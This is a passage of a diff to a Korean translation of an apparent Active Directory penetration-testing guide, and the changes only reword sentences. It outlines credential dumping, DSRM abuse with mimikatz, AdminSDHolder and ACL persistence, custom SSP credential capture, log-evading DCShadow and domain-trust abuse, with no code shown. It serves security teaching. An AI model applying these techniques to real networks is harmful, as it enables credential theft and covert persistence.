์‚ฌ์šฉ์ž๋„ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** (๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž ํฌํ•จ) ์„œ๋น„์Šค์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด. +์‚ฌ์šฉ์ž ๋˜๋Š” ์ปดํ“จํ„ฐ๊ฐ€ "์ œ์•ฝ๋œ ์œ„์ž„"์„ ํ—ˆ์šฉ๋ฐ›์œผ๋ฉด, **์ปดํ“จํ„ฐ์˜ ์ผ๋ถ€ ์„œ๋น„์Šค์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด ์–ด๋–ค ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**.\ +๊ทธ๋Ÿฐ ๋‹ค์Œ, ์ด ์‚ฌ์šฉ์ž/์ปดํ“จํ„ฐ์˜ **ํ•ด์‹œ๋ฅผ ์†์ƒ์‹œํ‚ค๋ฉด** **๋ชจ๋“  ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** (๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž ํฌํ•จ) ํŠน์ • ์„œ๋น„์Šค์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด. {{#ref}} constrained-delegation.md @@ -358,7 +358,7 @@ ad-certificates/certificate-theft.md ad-certificates/domain-escalation.md {{#endref}} -## ๋†’์€ ๊ถŒํ•œ ๊ณ„์ •์œผ๋กœ์˜ ํฌ์ŠคํŠธ ์ต์Šคํ”Œ๋กœ์ž‡ +## ๋†’์€ ๊ถŒํ•œ ๊ณ„์ •์œผ๋กœ์˜ ์‚ฌํ›„ ํ™œ์šฉ ### ๋„๋ฉ”์ธ ์ž๊ฒฉ ์ฆ๋ช… ๋คํ”„ @@ -368,7 +368,7 @@ ad-certificates/domain-escalation.md [**NTDS.dit๋ฅผ ํ›”์น˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” ์—ฌ๊ธฐ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) -### ๊ถŒํ•œ ์ƒ์Šน์„ ์œ„ํ•œ ์ง€์†์„ฑ +### ๊ถŒํ•œ ์ƒ์Šน์„ ํ†ตํ•œ ์ง€์†์„ฑ ์•ž์„œ ๋…ผ์˜๋œ ๋ช‡ ๊ฐ€์ง€ ๊ธฐ์ˆ ์€ ์ง€์†์„ฑ์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ ์˜ˆ๋ฅผ ๋“ค์–ด, ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: @@ -419,7 +419,7 @@ diamond-ticket.md ### **์ธ์ฆ์„œ ๊ณ„์ • ์ง€์†์„ฑ** -**๊ณ„์ •์˜ ์ธ์ฆ์„œ๋ฅผ ๋ณด์œ ํ•˜๊ฑฐ๋‚˜ ์š”์ฒญํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ**์€ ์‚ฌ์šฉ์ž์˜ ๊ณ„์ •์—์„œ ์ง€์†์„ฑ์„ ์œ ์ง€ํ•˜๋Š” ๋งค์šฐ ์ข‹์€ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค (๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•˜๋”๋ผ๋„): +**๊ณ„์ •์˜ ์ธ์ฆ์„œ๋ฅผ ๋ณด์œ ํ•˜๊ฑฐ๋‚˜ ์š”์ฒญํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ**์€ ์‚ฌ์šฉ์ž์˜ ๊ณ„์ •์— ์ง€์†ํ•  ์ˆ˜ ์žˆ๋Š” ๋งค์šฐ ์ข‹์€ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค (๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•˜๋”๋ผ๋„): {{#ref}} ad-certificates/account-persistence.md @@ -427,7 +427,7 @@ ad-certificates/account-persistence.md ### **์ธ์ฆ์„œ ๋„๋ฉ”์ธ ์ง€์†์„ฑ** -**์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋„๋ฉ”์ธ ๋‚ด์—์„œ ๋†’์€ ๊ถŒํ•œ์œผ๋กœ ์ง€์†์„ฑ์„ ์œ ์ง€ํ•˜๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค:** +**์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋„๋ฉ”์ธ ๋‚ด์—์„œ ๋†’์€ ๊ถŒํ•œ์œผ๋กœ ์ง€์†ํ•˜๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค:** {{#ref}} ad-certificates/domain-persistence.md @@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md ### AdminSDHolder ๊ทธ๋ฃน -Active Directory์˜ **AdminSDHolder** ๊ฐ์ฒด๋Š” **ํŠน๊ถŒ ๊ทธ๋ฃน**(๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž ๋ฐ ์—”ํ„ฐํ”„๋ผ์ด์ฆˆ ๊ด€๋ฆฌ์ž์™€ ๊ฐ™์€)์˜ ๋ณด์•ˆ์„ ๋ณด์žฅํ•˜๊ธฐ ์œ„ํ•ด ์ด๋Ÿฌํ•œ ๊ทธ๋ฃน์— ํ‘œ์ค€ **์•ก์„ธ์Šค ์ œ์–ด ๋ชฉ๋ก(ACL)**์„ ์ ์šฉํ•˜์—ฌ ๋ฌด๋‹จ ๋ณ€๊ฒฝ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ๊ธฐ๋Šฅ์€ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ AdminSDHolder์˜ ACL์„ ์ˆ˜์ •ํ•˜์—ฌ ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ „์ฒด ์•ก์„ธ์Šค๋ฅผ ๋ถ€์—ฌํ•˜๋ฉด, ํ•ด๋‹น ์‚ฌ์šฉ์ž๋Š” ๋ชจ๋“  ํŠน๊ถŒ ๊ทธ๋ฃน์— ๋Œ€ํ•œ ๊ด‘๋ฒ”์œ„ํ•œ ์ œ์–ด๋ฅผ ์–ป๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ด ๋ณด์•ˆ ์กฐ์น˜๋Š” ๋ณดํ˜ธ๋ฅผ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์ง€๋งŒ, ๋ฉด๋ฐ€ํžˆ ๋ชจ๋‹ˆํ„ฐ๋ง๋˜์ง€ ์•Š์œผ๋ฉด ๋ถˆ๋ฒ•์ ์ธ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +Active Directory์˜ **AdminSDHolder** ๊ฐ์ฒด๋Š” **ํŠน๊ถŒ ๊ทธ๋ฃน**(๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž ๋ฐ ์—”ํ„ฐํ”„๋ผ์ด์ฆˆ ๊ด€๋ฆฌ์ž์™€ ๊ฐ™์€)์˜ ๋ณด์•ˆ์„ ๋ณด์žฅํ•˜๊ธฐ ์œ„ํ•ด ์ด๋Ÿฌํ•œ ๊ทธ๋ฃน์— ํ‘œ์ค€ **์•ก์„ธ์Šค ์ œ์–ด ๋ชฉ๋ก(ACL)**์„ ์ ์šฉํ•˜์—ฌ ๋ฌด๋‹จ ๋ณ€๊ฒฝ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ๊ธฐ๋Šฅ์€ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ AdminSDHolder์˜ ACL์„ ์ˆ˜์ •ํ•˜์—ฌ ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ „์ฒด ์ ‘๊ทผ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๋ฉด, ํ•ด๋‹น ์‚ฌ์šฉ์ž๋Š” ๋ชจ๋“  ํŠน๊ถŒ ๊ทธ๋ฃน์— ๋Œ€ํ•œ ๊ด‘๋ฒ”์œ„ํ•œ ์ œ์–ด๋ฅผ ์–ป๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ด ๋ณด์•ˆ ์กฐ์น˜๋Š” ๋ณดํ˜ธ๋ฅผ ์œ„ํ•œ ๊ฒƒ์ด์ง€๋งŒ, ๋ฉด๋ฐ€ํžˆ ๋ชจ๋‹ˆํ„ฐ๋ง๋˜์ง€ ์•Š์œผ๋ฉด ๋ถˆ๋ฒ•์ ์ธ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. [**AdminDSHolder ๊ทธ๋ฃน์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.**](privileged-groups-and-token-privileges.md#adminsdholder-group) ### DSRM ์ž๊ฒฉ ์ฆ๋ช… -๋ชจ๋“  **๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ(DC)** ๋‚ด์—๋Š” **๋กœ์ปฌ ๊ด€๋ฆฌ์ž** ๊ณ„์ •์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋จธ์‹ ์—์„œ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์„ ์–ป์œผ๋ฉด, **mimikatz**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋กœ์ปฌ ๊ด€๋ฆฌ์ž ํ•ด์‹œ๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ดํ›„, ์ด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ **์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ํ™œ์„ฑํ™”**ํ•˜๊ธฐ ์œ„ํ•ด ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์ˆ˜์ •์„ ํ•ด์•ผ ํ•˜๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ๋กœ์ปฌ ๊ด€๋ฆฌ์ž ๊ณ„์ •์— ์›๊ฒฉ์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋ชจ๋“  **๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ(DC)** ๋‚ด์—๋Š” **๋กœ์ปฌ ๊ด€๋ฆฌ์ž** ๊ณ„์ •์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋จธ์‹ ์—์„œ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์„ ์–ป์œผ๋ฉด, **mimikatz**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋กœ์ปฌ ๊ด€๋ฆฌ์ž ํ•ด์‹œ๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ดํ›„, ์ด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ **์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก** ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์ˆ˜์ •์„ ํ•ด์•ผ ํ•˜๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ๋กœ์ปฌ ๊ด€๋ฆฌ์ž ๊ณ„์ •์— ์›๊ฒฉ์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. {{#ref}} dsrm-credentials.md @@ -449,7 +449,7 @@ dsrm-credentials.md ### ACL ์ง€์†์„ฑ -ํŠน์ • ๋„๋ฉ”์ธ ๊ฐ์ฒด์— ๋Œ€ํ•ด **์‚ฌ์šฉ์ž์—๊ฒŒ** ์ผ๋ถ€ **ํŠน๋ณ„ ๊ถŒํ•œ**์„ ๋ถ€์—ฌํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ **๋ฏธ๋ž˜์— ๊ถŒํ•œ์„ ์ƒ์Šน**์‹œํ‚ฌ ์ˆ˜ ์žˆ๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +ํŠน์ • ๋„๋ฉ”์ธ ๊ฐ์ฒด์— ๋Œ€ํ•ด **์‚ฌ์šฉ์ž์—๊ฒŒ** **ํŠน๋ณ„ ๊ถŒํ•œ**์„ ๋ถ€์—ฌํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ **๋ฏธ๋ž˜์— ๊ถŒํ•œ์„ ์ƒ์Šน**์‹œํ‚ฌ ์ˆ˜ ์žˆ๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. {{#ref}} acl-persistence-abuse/ @@ -474,7 +474,7 @@ skeleton-key.md ### ์‚ฌ์šฉ์ž ์ •์˜ SSP [SSP(๋ณด์•ˆ ์ง€์› ์ œ๊ณต์ž)๊ฐ€ ๋ฌด์—‡์ธ์ง€ ์—ฌ๊ธฐ์—์„œ ์•Œ์•„๋ณด์„ธ์š”.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ -์ž์‹ ์˜ **SSP**๋ฅผ ์ƒ์„ฑํ•˜์—ฌ **๋ช…ํ™•ํ•œ ํ…์ŠคํŠธ**๋กœ ๋จธ์‹ ์— ์ ‘๊ทผํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” **์ž๊ฒฉ ์ฆ๋ช…**์„ **์บก์ฒ˜**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ž์‹ ์˜ **SSP**๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ๋จธ์‹ ์— ์ ‘๊ทผํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” **์ž๊ฒฉ ์ฆ๋ช…**์„ **๋ช…ํ™•ํ•œ ํ…์ŠคํŠธ**๋กœ **์บก์ฒ˜**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. {{#ref}} custom-ssp.md @@ -482,7 +482,7 @@ custom-ssp.md ### DCShadow -AD์— **์ƒˆ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ**๋ฅผ ๋“ฑ๋กํ•˜๊ณ  ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ง€์ •๋œ ๊ฐ์ฒด์— **์†์„ฑ**(SIDHistory, SPNs...)์„ **ํ‘ธ์‹œ**ํ•ฉ๋‹ˆ๋‹ค **์ˆ˜์ •**์— ๋Œ€ํ•œ **๋กœ๊ทธ**๋ฅผ ๋‚จ๊ธฐ์ง€ ์•Š๊ณ . **DA** ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๋ฉฐ **๋ฃจํŠธ ๋„๋ฉ”์ธ** ๋‚ด์— ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.\ +AD์— **์ƒˆ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ**๋ฅผ ๋“ฑ๋กํ•˜๊ณ  ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ง€์ •๋œ ๊ฐ์ฒด์— **์†์„ฑ**(SIDHistory, SPNs...)์„ **ํ‘ธ์‹œ**ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์—์„œ **์ˆ˜์ •**์— ๋Œ€ํ•œ **๋กœ๊ทธ**๋ฅผ ๋‚จ๊ธฐ์ง€ ์•Š์Šต๋‹ˆ๋‹ค. **DA** ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๋ฉฐ **๋ฃจํŠธ ๋„๋ฉ”์ธ** ๋‚ด์— ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.\ ์ž˜๋ชป๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด, ๋งค์šฐ ๋ถˆ์พŒํ•œ ๋กœ๊ทธ๊ฐ€ ๋‚˜ํƒ€๋‚  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. {{#ref}} @@ -491,7 +491,7 @@ dcshadow.md ### LAPS ์ง€์†์„ฑ -์ด์ „์— **LAPS ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์ถฉ๋ถ„ํ•œ ๊ถŒํ•œ**์ด ์žˆ์„ ๊ฒฝ์šฐ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด ๋…ผ์˜ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Ÿฌํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” **์ง€์†์„ฑ์„ ์œ ์ง€ํ•˜๋Š” ๋ฐ์—๋„ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**.\ +์ด์ „์— **LAPS ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์ถฉ๋ถ„ํ•œ ๊ถŒํ•œ**์ด ์žˆ์„ ๊ฒฝ์šฐ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด ๋…ผ์˜ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Ÿฌํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” **์ง€์†์„ฑ์„ ์œ ์ง€ํ•˜๋Š” ๋ฐ๋„ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**.\ ํ™•์ธํ•ด ๋ณด์„ธ์š”: {{#ref}} @@ -504,7 +504,7 @@ Microsoft๋Š” **ํฌ๋ฆฌ์ŠคํŠธ**๋ฅผ ๋ณด์•ˆ ๊ฒฝ๊ณ„๋กœ ๊ฐ„์ฃผํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” **๋‹จ ### ๊ธฐ๋ณธ ์ •๋ณด -[**๋„๋ฉ”์ธ ์‹ ๋ขฐ**]()๋Š” ํ•œ **๋„๋ฉ”์ธ**์˜ ์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค๋ฅธ **๋„๋ฉ”์ธ**์˜ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ž…๋‹ˆ๋‹ค. ์ด๋Š” ๋ณธ์งˆ์ ์œผ๋กœ ๋‘ ๋„๋ฉ”์ธ์˜ ์ธ์ฆ ์‹œ์Šคํ…œ ๊ฐ„์˜ ์—ฐ๊ฒฐ์„ ์ƒ์„ฑํ•˜์—ฌ ์ธ์ฆ ๊ฒ€์ฆ์ด ์›ํ™œํ•˜๊ฒŒ ํ๋ฅผ ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ๋„๋ฉ”์ธ์ด ์‹ ๋ขฐ๋ฅผ ์„ค์ •ํ•˜๋ฉด, ๊ทธ๋“ค์€ ํŠน์ • **ํ‚ค**๋ฅผ **๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ(DC)** ๋‚ด์—์„œ ๊ตํ™˜ํ•˜๊ณ  ์œ ์ง€ํ•˜์—ฌ ์‹ ๋ขฐ์˜ ๋ฌด๊ฒฐ์„ฑ์„ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. +[**๋„๋ฉ”์ธ ์‹ ๋ขฐ**]()๋Š” ํ•œ **๋„๋ฉ”์ธ**์˜ ์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค๋ฅธ **๋„๋ฉ”์ธ**์˜ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ž…๋‹ˆ๋‹ค. ์ด๋Š” ๋‘ ๋„๋ฉ”์ธ์˜ ์ธ์ฆ ์‹œ์Šคํ…œ ๊ฐ„์˜ ์—ฐ๊ฒฐ์„ ์ƒ์„ฑํ•˜์—ฌ ์ธ์ฆ ๊ฒ€์ฆ์ด ์›ํ™œํ•˜๊ฒŒ ํ๋ฅผ ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ๋„๋ฉ”์ธ์ด ์‹ ๋ขฐ๋ฅผ ์„ค์ •ํ•˜๋ฉด, ๊ทธ๋“ค์€ ํŠน์ • **ํ‚ค**๋ฅผ **๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ(DC)** ๋‚ด์—์„œ ๊ตํ™˜ํ•˜๊ณ  ์œ ์ง€ํ•˜์—ฌ ์‹ ๋ขฐ์˜ ๋ฌด๊ฒฐ์„ฑ์„ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ ์‚ฌ์šฉ์ž๊ฐ€ **์‹ ๋ขฐ๋œ ๋„๋ฉ”์ธ**์˜ ์„œ๋น„์Šค์— ์ ‘๊ทผํ•˜๋ ค๋ฉด, ๋จผ์ € ์ž์‹ ์˜ ๋„๋ฉ”์ธ DC์—์„œ **์ธํ„ฐ-๋ ๋ฆ„ TGT**๋ผ๋Š” ํŠน๋ณ„ํ•œ ํ‹ฐ์ผ“์„ ์š”์ฒญํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด TGT๋Š” ๋‘ ๋„๋ฉ”์ธ์ด ํ•ฉ์˜ํ•œ ๊ณต์œ  **ํ‚ค**๋กœ ์•”ํ˜ธํ™”๋ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๋Š” ์ด TGT๋ฅผ **์‹ ๋ขฐ๋œ ๋„๋ฉ”์ธ์˜ DC**์— ์ œ์‹œํ•˜์—ฌ ์„œ๋น„์Šค ํ‹ฐ์ผ“(**TGS**)์„ ๋ฐ›์Šต๋‹ˆ๋‹ค. ์‹ ๋ขฐ๋œ ๋„๋ฉ”์ธ์˜ DC๊ฐ€ ์ธํ„ฐ-๋ ๋ฆ„ TGT๋ฅผ ์„ฑ๊ณต์ ์œผ๋กœ ๊ฒ€์ฆํ•˜๋ฉด, TGS๋ฅผ ๋ฐœ๊ธ‰ํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ ์„œ๋น„์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. @@ -515,23 +515,23 @@ Microsoft๋Š” **ํฌ๋ฆฌ์ŠคํŠธ**๋ฅผ ๋ณด์•ˆ ๊ฒฝ๊ณ„๋กœ ๊ฐ„์ฃผํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” **๋‹จ 3. ํด๋ผ์ด์–ธํŠธ๋Š” **๋„๋ฉ”์ธ 2**์˜ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด DC1์—์„œ **์ธํ„ฐ-๋ ๋ฆ„ TGT**๋ฅผ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค. 4. ์ธํ„ฐ-๋ ๋ฆ„ TGT๋Š” ๋‘ ๋ฐฉํ–ฅ ๋„๋ฉ”์ธ ์‹ ๋ขฐ์˜ ์ผํ™˜์œผ๋กœ DC1๊ณผ DC2 ๊ฐ„์— ๊ณต์œ ๋œ **์‹ ๋ขฐ ํ‚ค**๋กœ ์•”ํ˜ธํ™”๋ฉ๋‹ˆ๋‹ค. 5. ํด๋ผ์ด์–ธํŠธ๋Š” ์ธํ„ฐ-๋ ๋ฆ„ TGT๋ฅผ **๋„๋ฉ”์ธ 2์˜ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ(DC2)**๋กœ ๊ฐ€์ ธ๊ฐ‘๋‹ˆ๋‹ค. -6. DC2๋Š” ๊ณต์œ  ์‹ ๋ขฐ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ธํ„ฐ-๋ ๋ฆ„ TGT๋ฅผ ๊ฒ€์ฆํ•˜๊ณ , ์œ ํšจํ•œ ๊ฒฝ์šฐ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ ‘๊ทผํ•˜๋ ค๋Š” ๋„๋ฉ”์ธ 2์˜ ์„œ๋ฒ„์— ๋Œ€ํ•œ **ํ‹ฐ์ผ“ ๋ถ€์—ฌ ์„œ๋น„์Šค(TGS)**๋ฅผ ๋ฐœ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค. +6. DC2๋Š” ๊ณต์œ  ์‹ ๋ขฐ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ธํ„ฐ-๋ ๋ฆ„ TGT๋ฅผ ๊ฒ€์ฆํ•˜๊ณ , ์œ ํšจํ•œ ๊ฒฝ์šฐ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ ‘๊ทผํ•˜๊ณ ์ž ํ•˜๋Š” ๋„๋ฉ”์ธ 2์˜ ์„œ๋ฒ„์— ๋Œ€ํ•œ **ํ‹ฐ์ผ“ ๋ถ€์—ฌ ์„œ๋น„์Šค(TGS)**๋ฅผ ๋ฐœ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค. 7. ๋งˆ์ง€๋ง‰์œผ๋กœ ํด๋ผ์ด์–ธํŠธ๋Š” ์ด TGS๋ฅผ ์„œ๋ฒ„์— ์ œ์‹œํ•˜์—ฌ ๋„๋ฉ”์ธ 2์˜ ์„œ๋น„์Šค์— ์ ‘๊ทผํ•ฉ๋‹ˆ๋‹ค. ์ด TGS๋Š” ์„œ๋ฒ„์˜ ๊ณ„์ • ํ•ด์‹œ๋กœ ์•”ํ˜ธํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ### ๋‹ค์–‘ํ•œ ์‹ ๋ขฐ -**์‹ ๋ขฐ๋Š” 1๋ฐฉํ–ฅ ๋˜๋Š” 2๋ฐฉํ–ฅ**์ผ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. 2๋ฐฉํ–ฅ ์˜ต์…˜์—์„œ๋Š” ๋‘ ๋„๋ฉ”์ธ์ด ์„œ๋กœ๋ฅผ ์‹ ๋ขฐํ•˜์ง€๋งŒ, **1๋ฐฉํ–ฅ** ์‹ ๋ขฐ ๊ด€๊ณ„์—์„œ๋Š” ํ•œ ๋„๋ฉ”์ธ์ด **์‹ ๋ขฐ๋ฐ›๋Š”** ๋„๋ฉ”์ธ์ด๊ณ  ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์ด **์‹ ๋ขฐํ•˜๋Š”** ๋„๋ฉ”์ธ์ด ๋ฉ๋‹ˆ๋‹ค. ๋งˆ์ง€๋ง‰ ๊ฒฝ์šฐ, **์‹ ๋ขฐ๋ฐ›๋Š” ๋„๋ฉ”์ธ์—์„œ ์‹ ๋ขฐํ•˜๋Š” ๋„๋ฉ”์ธ ๋‚ด์˜ ๋ฆฌ์†Œ์Šค์—๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. +**์‹ ๋ขฐ๋Š” 1๋ฐฉํ–ฅ ๋˜๋Š” 2๋ฐฉํ–ฅ**์ผ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. 2๋ฐฉํ–ฅ ์˜ต์…˜์—์„œ๋Š” ๋‘ ๋„๋ฉ”์ธ์ด ์„œ๋กœ๋ฅผ ์‹ ๋ขฐํ•˜์ง€๋งŒ, **1๋ฐฉํ–ฅ** ์‹ ๋ขฐ ๊ด€๊ณ„์—์„œ๋Š” ํ•œ ๋„๋ฉ”์ธ์ด **์‹ ๋ขฐ๋ฐ›๋Š”** ๋„๋ฉ”์ธ์ด๊ณ  ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์ด **์‹ ๋ขฐํ•˜๋Š”** ๋„๋ฉ”์ธ์ž…๋‹ˆ๋‹ค. ๋งˆ์ง€๋ง‰ ๊ฒฝ์šฐ, **์‹ ๋ขฐ๋ฐ›๋Š” 